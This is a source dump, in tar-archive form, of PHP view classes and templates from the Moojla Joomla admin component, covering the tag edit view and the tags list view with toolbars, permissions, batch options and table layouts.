<?php echo JLayoutHelper::render('joomla.edit.params',
$this); ?>
<?php if ($this->canDo->get('core.edit.created_by') ||
$this->canDo->get('core.edit.created') ||
$this->canDo->get('core.edit.state') ||
($this->canDo->get('core.delete') &&
$this->canDo->get('core.edit.state'))) : ?>
<?php echo JHtml::_('bootstrap.addTab', 'tagTab',
'publishing', JText::_('COM_MOOJLA_TAG_PUBLISHING',
true)); ?>
<div class="row-fluid form-horizontal-desktop">
<div class="span6">
<?php echo JLayoutHelper::render('tag.publishing', $this);
?>
</div>
<div class="span6">
<?php echo JLayoutHelper::render('tag.publlshing', $this);
?>
</div>
</div>
<?php echo JHtml::_('bootstrap.endTab'); ?>
<?php endif; ?>
<?php if ($this->canDo->get('core.admin')) : ?>
<?php echo JHtml::_('bootstrap.addTab', 'tagTab',
'permissions', JText::_('COM_MOOJLA_TAG_PERMISSION',
true)); ?>
<div class="row-fluid form-horizontal-desktop">
<div class="span12">
<fieldset class="adminform">
<div class="adminformlist">
<?php foreach
($this->form->getFieldset('accesscontrol') as $field):
?>
<div>
<?php echo $field->label; echo $field->input;?>
</div>
<div class="clearfix"></div>
<?php endforeach; ?>
</div>
</fieldset>
</div>
</div>
<?php echo JHtml::_('bootstrap.endTab'); ?>
<?php endif; ?>
<?php echo JHtml::_('bootstrap.endTabSet'); ?>
<div>
<input type="hidden" name="task"
value="tag.edit" />
<?php echo JHtml::_('form.token'); ?>
</div>
</div>
</form>
</div>
views/tag/tmpl/index.html000064400000000054151165724410011432
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/tag/view.html.php000064400000015047151165724410011117
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage view.html.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
/**
* Tag View class
*/
class MoojlaViewTag extends JViewLegacy
{
/**
* display method of View
* @return void
*/
public function display($tpl = null)
{
// set params
$this->params = JComponentHelper::getParams('com_moojla');
// Assign the variables
$this->form = $this->get('Form');
$this->item = $this->get('Item');
$this->script = $this->get('Script');
$this->state = $this->get('State');
// get action permissions
$this->canDo = MoojlaHelper::getActions('tag',
$this->item);
// get input
$jinput = JFactory::getApplication()->input;
$this->ref = $jinput->get('ref', 0, 'word');
$this->refid = $jinput->get('refid', 0, 'int');
$return = $jinput->get('return', null, 'base64');
// set the referral string
$this->referral = '';
if ($this->refid && $this->ref)
{
// return to the item that referred to this item
$this->referral = '&ref=' . (string)$this->ref .
'&refid=' . (int)$this->refid;
}
elseif($this->ref)
{
// return to the list view that referred to this item
$this->referral = '&ref=' . (string)$this->ref;
}
// check return value
if (!is_null($return))
{
// add the return value
$this->referral .= '&return=' . (string)$return;
}
// Set the toolbar
$this->addToolBar();
// Check for errors.
if (count($errors = $this->get('Errors')))
{
throw new Exception(implode("\n", $errors), 500);
}
// Display the template
parent::display($tpl);
// Set the document
$this->setDocument();
}
/**
* Setting the toolbar
*/
protected function addToolBar()
{
JFactory::getApplication()->input->set('hidemainmenu',
true);
$user = JFactory::getUser();
$userId = $user->id;
$isNew = $this->item->id == 0;
JToolbarHelper::title( JText::_($isNew ? 'COM_MOOJLA_TAG_NEW' :
'COM_MOOJLA_TAG_EDIT'), 'pencil-2 article-add');
// Built the actions for new and existing records.
if (MoojlaHelper::checkString($this->referral))
{
if ($this->canDo->get('core.create') && $isNew)
{
// We can create the record.
JToolBarHelper::save('tag.save', 'JTOOLBAR_SAVE');
}
elseif ($this->canDo->get('core.edit'))
{
// We can save the record.
JToolBarHelper::save('tag.save', 'JTOOLBAR_SAVE');
}
if ($isNew)
{
// Do not creat but cancel.
JToolBarHelper::cancel('tag.cancel',
'JTOOLBAR_CANCEL');
}
else
{
// We can close it.
JToolBarHelper::cancel('tag.cancel',
'JTOOLBAR_CLOSE');
}
}
else
{
if ($isNew)
{
// For new records, check the create permission.
if ($this->canDo->get('core.create'))
{
JToolBarHelper::apply('tag.apply',
'JTOOLBAR_APPLY');
JToolBarHelper::save('tag.save', 'JTOOLBAR_SAVE');
JToolBarHelper::custom('tag.save2new',
'save-new.png', 'save-new_f2.png',
'JTOOLBAR_SAVE_AND_NEW', false);
};
JToolBarHelper::cancel('tag.cancel',
'JTOOLBAR_CANCEL');
}
else
{
if ($this->canDo->get('core.edit'))
{
// We can save the new record
JToolBarHelper::apply('tag.apply',
'JTOOLBAR_APPLY');
JToolBarHelper::save('tag.save', 'JTOOLBAR_SAVE');
// We can save this record, but check the create permission to see
// if we can return to make a new one.
if ($this->canDo->get('core.create'))
{
JToolBarHelper::custom('tag.save2new',
'save-new.png', 'save-new_f2.png',
'JTOOLBAR_SAVE_AND_NEW', false);
}
}
$canVersion = ($this->canDo->get('core.version')
&& $this->canDo->get('tag.version'));
if ($this->state->params->get('save_history', 1)
&& $this->canDo->get('core.edit') &&
$canVersion)
{
JToolbarHelper::versions('com_moojla.tag',
$this->item->id);
}
if ($this->canDo->get('core.create'))
{
JToolBarHelper::custom('tag.save2copy',
'save-copy.png', 'save-copy_f2.png',
'JTOOLBAR_SAVE_AS_COPY', false);
}
JToolBarHelper::cancel('tag.cancel',
'JTOOLBAR_CLOSE');
}
}
JToolbarHelper::divider();
// set help url for this view if found
$help_url = MoojlaHelper::getHelpUrl('tag');
if (MoojlaHelper::checkString($help_url))
{
JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
}
}
/**
* Escapes a value for output in a view script.
*
* @param mixed $var The output to escape.
*
* @return mixed The escaped value.
*/
public function escape($var)
{
if(strlen($var) > 30)
{
// use the helper htmlEscape method instead and shorten the string
return MoojlaHelper::htmlEscape($var, $this->_charset, true, 30);
}
// use the helper htmlEscape method instead.
return MoojlaHelper::htmlEscape($var, $this->_charset);
}
/**
* Method to set up the document properties
*
* @return void
*/
protected function setDocument()
{
$isNew = ($this->item->id < 1);
if (!isset($this->document))
{
$this->document = JFactory::getDocument();
}
$this->document->setTitle(JText::_($isNew ?
'COM_MOOJLA_TAG_NEW' : 'COM_MOOJLA_TAG_EDIT'));
$this->document->addStyleSheet(JURI::root() .
"administrator/components/com_moojla/assets/css/tag.css",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
$this->document->addScript(JURI::root() . $this->script,
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') :
'text/javascript');
$this->document->addScript(JURI::root() .
"administrator/components/com_moojla/views/tag/submitbutton.js",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') :
'text/javascript');
JText::script('view not acceptable. Error');
}
}
views/tags/index.html000064400000000054151165724410010641
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/tags/tmpl/default.php000064400000005737151165724410011772
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
JHtml::_('behavior.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('dropdown.init');
JHtml::_('formbehavior.chosen',
'.multipleAccessLevels', null,
array('placeholder_text_multiple' => '- ' .
JText::_('COM_MOOJLA_FILTER_SELECT_ACCESS') . ' -'));
JHtml::_('formbehavior.chosen', 'select');
if ($this->saveOrder)
{
$saveOrderingUrl =
'index.php?option=com_moojla&task=tags.saveOrderAjax&tmpl=component';
JHtml::_('sortablelist.sortable', 'tagList',
'adminForm', strtolower($this->listDirn), $saveOrderingUrl);
}
?>
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&view=tags');
?>" method="post" name="adminForm"
id="adminForm">
<?php if(!empty( $this->sidebar)): ?>
<div id="j-sidebar-container" class="span2">
<?php echo $this->sidebar; ?>
</div>
<div id="j-main-container" class="span10">
<?php else : ?>
<div id="j-main-container">
<?php endif; ?>
<?php
// Add the searchtools
echo JLayoutHelper::render('joomla.searchtools.default',
array('view' => $this));
?>
<?php if (empty($this->items)): ?>
<div class="alert alert-no-items">
<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
</div>
<?php else : ?>
<table class="table table-striped" id="tagList">
<thead><?php echo
$this->loadTemplate('head');?></thead>
<tfoot><?php echo
$this->loadTemplate('foot');?></tfoot>
<tbody><?php echo
$this->loadTemplate('body');?></tbody>
</table>
<?php // Load the batch processing form. ?>
<?php if ($this->canCreate && $this->canEdit) : ?>
<?php echo JHtml::_(
'bootstrap.renderModal',
'collapseModal',
array(
'title' =>
JText::_('COM_MOOJLA_TAGS_BATCH_OPTIONS'),
'footer' =>
$this->loadTemplate('batch_footer')
),
$this->loadTemplate('batch_body')
); ?>
<?php endif; ?>
<input type="hidden" name="boxchecked"
value="0" />
</div>
<?php endif; ?>
<input type="hidden" name="task" value=""
/>
<?php echo JHtml::_('form.token'); ?>
</form>
views/tags/tmpl/default_batch_body.php000064400000002327151165724410014140
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_batch_body.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<p><?php echo JText::_('COM_MOOJLA_TAGS_BATCH_TIP');
?></p>
<?php echo $this->batchDisplay;
?>views/tags/tmpl/default_batch_footer.php000064400000002725151165724410014503
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_batch_footer.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<!-- clear the batch values if cancel -->
<button class="btn" type="button"
onclick="" data-dismiss="modal">
<?php echo JText::_('JCANCEL'); ?>
</button>
<!-- post the batch values if process -->
<button class="btn btn-success" type="submit"
onclick="Joomla.submitbutton('tag.batch');">
<?php echo JText::_('JGLOBAL_BATCH_PROCESS'); ?>
</button>views/tags/tmpl/default_body.php000064400000007602151165724410013000
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_body.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
$edit =
"index.php?option=com_moojla&view=tags&task=tag.edit";
?>
<?php foreach ($this->items as $i => $item): ?>
<?php
$canCheckin = $this->user->authorise('core.manage',
'com_checkin') || $item->checked_out == $this->user->id
|| $item->checked_out == 0;
$userChkOut = JFactory::getUser($item->checked_out);
$canDo =
MoojlaHelper::getActions('tag',$item,'tags');
?>
<tr class="row<?php echo $i % 2; ?>">
<td class="order nowrap center hidden-phone">
<?php if ($canDo->get('core.edit.state')): ?>
<?php
$iconClass = '';
if (!$this->saveOrder)
{
$iconClass = ' inactive tip-top" hasTooltip"
title="' . JHtml::tooltipText('JORDERINGDISABLED');
}
?>
<span class="sortable-handler<?php echo $iconClass;
?>">
<i class="icon-menu"></i>
</span>
<?php if ($this->saveOrder) : ?>
<input type="text" style="display:none"
name="order[]" size="5"
value="<?php echo $item->ordering; ?>"
class="width-20 text-area-order " />
<?php endif; ?>
<?php else: ?>
⋮
<?php endif; ?>
</td>
<td class="nowrap center">
<?php if ($canDo->get('core.edit')): ?>
<?php if ($item->checked_out) : ?>
<?php if ($canCheckin) : ?>
<?php echo JHtml::_('grid.id', $i, $item->id); ?>
<?php else: ?>
□
<?php endif; ?>
<?php else: ?>
<?php echo JHtml::_('grid.id', $i, $item->id); ?>
<?php endif; ?>
<?php else: ?>
□
<?php endif; ?>
</td>
<td class="nowrap">
<div class="name">
<?php if ($canDo->get('core.edit')): ?>
<a href="<?php echo $edit; ?>&id=<?php echo
$item->id; ?>"><?php echo
$this->escape($item->tagid); ?></a>
<?php if ($item->checked_out): ?>
<?php echo JHtml::_('jgrid.checkedout', $i,
$userChkOut->name, $item->checked_out_time, 'tags.',
$canCheckin); ?>
<?php endif; ?>
<?php else: ?>
<?php echo $this->escape($item->tagid); ?>
<?php endif; ?>
</div>
</td>
<td class="hidden-phone">
<?php echo $this->escape($item->tagname); ?>
</td>
<td class="hidden-phone">
<?php echo JText::_($item->isstandard); ?>
</td>
<td class="center">
<?php if ($canDo->get('core.edit.state')) : ?>
<?php if ($item->checked_out) : ?>
<?php if ($canCheckin) : ?>
<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'tags.', true, 'cb'); ?>
<?php else: ?>
<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'tags.', false, 'cb'); ?>
<?php endif; ?>
<?php else: ?>
<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'tags.', true, 'cb'); ?>
<?php endif; ?>
<?php else: ?>
<?php echo JHtml::_('jgrid.published', $item->published,
$i, 'tags.', false, 'cb'); ?>
<?php endif; ?>
</td>
<td class="nowrap center hidden-phone">
<?php echo $item->id; ?>
</td>
</tr>
<?php endforeach;
?>views/tags/tmpl/default_foot.php000064400000002304151165724410013004
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_foot.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<tr>
<td colspan="7"><?php echo
$this->pagination->getListFooter(); ?></td>
</tr>views/tags/tmpl/default_head.php000064400000005050151165724410012737
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_head.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<tr>
<?php if ($this->canEdit&& $this->canState): ?>
<th width="1%" class="nowrap center
hidden-phone">
<?php echo JHtml::_('searchtools.sort', '',
'a.ordering', $this->listDirn, $this->listOrder, null,
'asc', 'JGRID_HEADING_ORDERING',
'icon-menu-2'); ?>
</th>
<th width="20" class="nowrap center">
<?php echo JHtml::_('grid.checkall'); ?>
</th>
<?php else: ?>
<th width="20" class="nowrap center
hidden-phone">
▾
</th>
<th width="20" class="nowrap center">
■
</th>
<?php endif; ?>
<th class="nowrap" >
<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_TAG_TAGID_LABEL', 'a.tagid',
$this->listDirn, $this->listOrder); ?>
</th>
<th class="nowrap hidden-phone" >
<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_TAG_TAGNAME_LABEL', 'a.tagname',
$this->listDirn, $this->listOrder); ?>
</th>
<th class="nowrap hidden-phone" >
<?php echo JText::_('COM_MOOJLA_TAG_ISSTANDARD_LABEL');
?>
</th>
<?php if ($this->canState): ?>
<th width="10" class="nowrap center" >
<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_TAG_STATUS', 'a.published',
$this->listDirn, $this->listOrder); ?>
</th>
<?php else: ?>
<th width="10" class="nowrap center" >
<?php echo JText::_('COM_MOOJLA_TAG_STATUS'); ?>
</th>
<?php endif; ?>
<th width="5" class="nowrap center hidden-phone"
>
<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_TAG_ID', 'a.id', $this->listDirn,
$this->listOrder); ?>
</th>
</tr>views/tags/tmpl/default_toolbar.php000064400000007047151165724410013510
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_toolbar.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<div id="filter-bar" class="btn-toolbar">
<div class="filter-search btn-group pull-left">
<label for="filter_search"
class="element-invisible"><?php echo
JText::_('Search');?></label>
<input type="text" name="filter_search"
id="filter_search" placeholder="<?php echo
JText::_('JSEARCH_FILTER'); ?>" value="<?php echo
$this->escape($this->state->get('filter.search'));
?>" class="hasTooltip" title="<?php echo
JHtml::tooltipText('Search Tags'); ?>" />
</div>
<div class="btn-group pull-left">
<button type="submit" class="btn
hasTooltip" title="<?php echo
JHtml::tooltipText('JSEARCH_FILTER_SUBMIT'); ?>"><i
class="icon-search"></i></button>
<button type="button" class="btn
hasTooltip" title="<?php echo
JHtml::tooltipText('JSEARCH_FILTER_CLEAR'); ?>"
onclick="document.id('filter_search').value='';this.form.submit();"><i
class="icon-remove"></i></button>
</div>
<div class="btn-group pull-right hidden-phone">
<label for="limit"
class="element-invisible"><?php echo
JText::_('JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC');?></label>
<?php echo $this->pagination->getLimitBox(); ?>
</div>
<div class="btn-group pull-right hidden-phone">
<label for="directionTable"
class="element-invisible"><?php echo
JText::_('JFIELD_ORDERING_DESC');?></label>
<select name="directionTable"
id="directionTable" class="input-medium"
onchange="Joomla.orderTable()">
<option value=""><?php echo
JText::_('JFIELD_ORDERING_DESC');?></option>
<option value="asc" <?php if
($this->listDirn == 'asc') echo
'selected="selected"'; ?>><?php echo
JText::_('JGLOBAL_ORDER_ASCENDING');?></option>
<option value="desc" <?php if
($this->listDirn == 'desc') echo
'selected="selected"'; ?>><?php echo
JText::_('JGLOBAL_ORDER_DESCENDING');?></option>
</select>
</div>
<div class="btn-group pull-right">
<label for="sortTable"
class="element-invisible"><?php echo
JText::_('JGLOBAL_SORT_BY');?></label>
<select name="sortTable" id="sortTable"
class="input-medium" onchange="Joomla.orderTable()">
<option value=""><?php echo
JText::_('JGLOBAL_SORT_BY');?></option>
<?php echo JHtml::_('select.options',
$this->getSortFields(), 'value', 'text',
$this->listOrder);?>
</select>
</div>
</div>
<div class="clearfix">
</div>views/tags/tmpl/index.html000064400000000054151165724410011615
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/tags/view.html.php000064400000015706151165724410011304
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage view.html.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
/**
* Moojla View class for the Tags
*/
class MoojlaViewTags extends JViewLegacy
{
/**
* Tags view display method
* @return void
*/
function display($tpl = null)
{
if ($this->getLayout() !== 'modal')
{
// Include helper submenu
MoojlaHelper::addSubmenu('tags');
}
// Assign data to the view
$this->items = $this->get('Items');
$this->pagination = $this->get('Pagination');
$this->state = $this->get('State');
$this->user = JFactory::getUser();
// Load the filter form from xml.
$this->filterForm = $this->get('FilterForm');
// Load the active filters.
$this->activeFilters = $this->get('ActiveFilters');
// Add the list ordering clause.
$this->listOrder =
$this->escape($this->state->get('list.ordering',
'a.id'));
$this->listDirn =
$this->escape($this->state->get('list.direction',
'DESC'));
$this->saveOrder = $this->listOrder == 'a.ordering';
// set the return here value
$this->return_here = urlencode(base64_encode((string)
JUri::getInstance()));
// get global action permissions
$this->canDo = MoojlaHelper::getActions('tag');
$this->canEdit = $this->canDo->get('core.edit');
$this->canState =
$this->canDo->get('core.edit.state');
$this->canCreate = $this->canDo->get('core.create');
$this->canDelete = $this->canDo->get('core.delete');
$this->canBatch = $this->canDo->get('core.batch');
// We don't need toolbar in the modal window.
if ($this->getLayout() !== 'modal')
{
$this->addToolbar();
$this->sidebar = JHtmlSidebar::render();
// load the batch html
if ($this->canCreate && $this->canEdit &&
$this->canState)
{
$this->batchDisplay = JHtmlBatch_::render();
}
}
// Check for errors.
if (count($errors = $this->get('Errors')))
{
throw new Exception(implode("\n", $errors), 500);
}
// Display the template
parent::display($tpl);
// Set the document
$this->setDocument();
}
/**
* Setting the toolbar
*/
protected function addToolBar()
{
JToolBarHelper::title(JText::_('COM_MOOJLA_TAGS'),
'tag');
JHtmlSidebar::setAction('index.php?option=com_moojla&view=tags');
JFormHelper::addFieldPath(JPATH_COMPONENT . '/models/fields');
if ($this->canCreate)
{
JToolBarHelper::addNew('tag.add');
}
// Only load if there are items
if (MoojlaHelper::checkArray($this->items))
{
if ($this->canEdit)
{
JToolBarHelper::editList('tag.edit');
}
if ($this->canState)
{
JToolBarHelper::publishList('tags.publish');
JToolBarHelper::unpublishList('tags.unpublish');
JToolBarHelper::archiveList('tags.archive');
if ($this->canDo->get('core.admin'))
{
JToolBarHelper::checkin('tags.checkin');
}
}
// Add a batch button
if ($this->canBatch && $this->canCreate &&
$this->canEdit && $this->canState)
{
// Get the toolbar object instance
$bar = JToolBar::getInstance('toolbar');
// set the batch button name
$title = JText::_('JTOOLBAR_BATCH');
// Instantiate a new JLayoutFile instance and render the batch button
$layout = new JLayoutFile('joomla.toolbar.batch');
// add the button to the page
$dhtml = $layout->render(array('title' => $title));
$bar->appendButton('Custom', $dhtml, 'batch');
}
if ($this->state->get('filter.published') == -2
&& ($this->canState && $this->canDelete))
{
JToolbarHelper::deleteList('', 'tags.delete',
'JTOOLBAR_EMPTY_TRASH');
}
elseif ($this->canState && $this->canDelete)
{
JToolbarHelper::trash('tags.trash');
}
}
// set help url for this view if found
$help_url = MoojlaHelper::getHelpUrl('tags');
if (MoojlaHelper::checkString($help_url))
{
JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
}
// add the options comp button
if ($this->canDo->get('core.admin') ||
$this->canDo->get('core.options'))
{
JToolBarHelper::preferences('com_moojla');
}
// Only load published batch if state and batch is allowed
if ($this->canState && $this->canBatch)
{
JHtmlBatch_::addListSelection(
JText::_('COM_MOOJLA_KEEP_ORIGINAL_STATE'),
'batch[published]',
JHtml::_('select.options',
JHtml::_('jgrid.publishedOptions', array('all' =>
false)), 'value', 'text', '', true)
);
}
// Only load access batch if create, edit and batch is allowed
if ($this->canBatch && $this->canCreate &&
$this->canEdit)
{
JHtmlBatch_::addListSelection(
JText::_('COM_MOOJLA_KEEP_ORIGINAL_ACCESS'),
'batch[access]',
JHtml::_('select.options',
JHtml::_('access.assetgroups'), 'value',
'text')
);
}
}
/**
* Method to set up the document properties
*
* @return void
*/
protected function setDocument()
{
if (!isset($this->document))
{
$this->document = JFactory::getDocument();
}
$this->document->setTitle(JText::_('COM_MOOJLA_TAGS'));
$this->document->addStyleSheet(JURI::root() .
"administrator/components/com_moojla/assets/css/tags.css",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
}
/**
* Escapes a value for output in a view script.
*
* @param mixed $var The output to escape.
*
* @return mixed The escaped value.
*/
public function escape($var)
{
if(strlen($var) > 50)
{
// use the helper htmlEscape method instead and shorten the string
return MoojlaHelper::htmlEscape($var, $this->_charset, true);
}
// use the helper htmlEscape method instead.
return MoojlaHelper::htmlEscape($var, $this->_charset);
}
/**
* Returns an array of fields the table can be sorted by
*
* @return array Array containing the field name to sort by as the key
and display text as value
*/
protected function getSortFields()
{
return array(
'a.ordering' =>
JText::_('JGRID_HEADING_ORDERING'),
'a.published' => JText::_('JSTATUS'),
'a.tagid' =>
JText::_('COM_MOOJLA_TAG_TAGID_LABEL'),
'a.tagname' =>
JText::_('COM_MOOJLA_TAG_TAGNAME_LABEL'),
'a.id' => JText::_('JGRID_HEADING_ID')
);
}
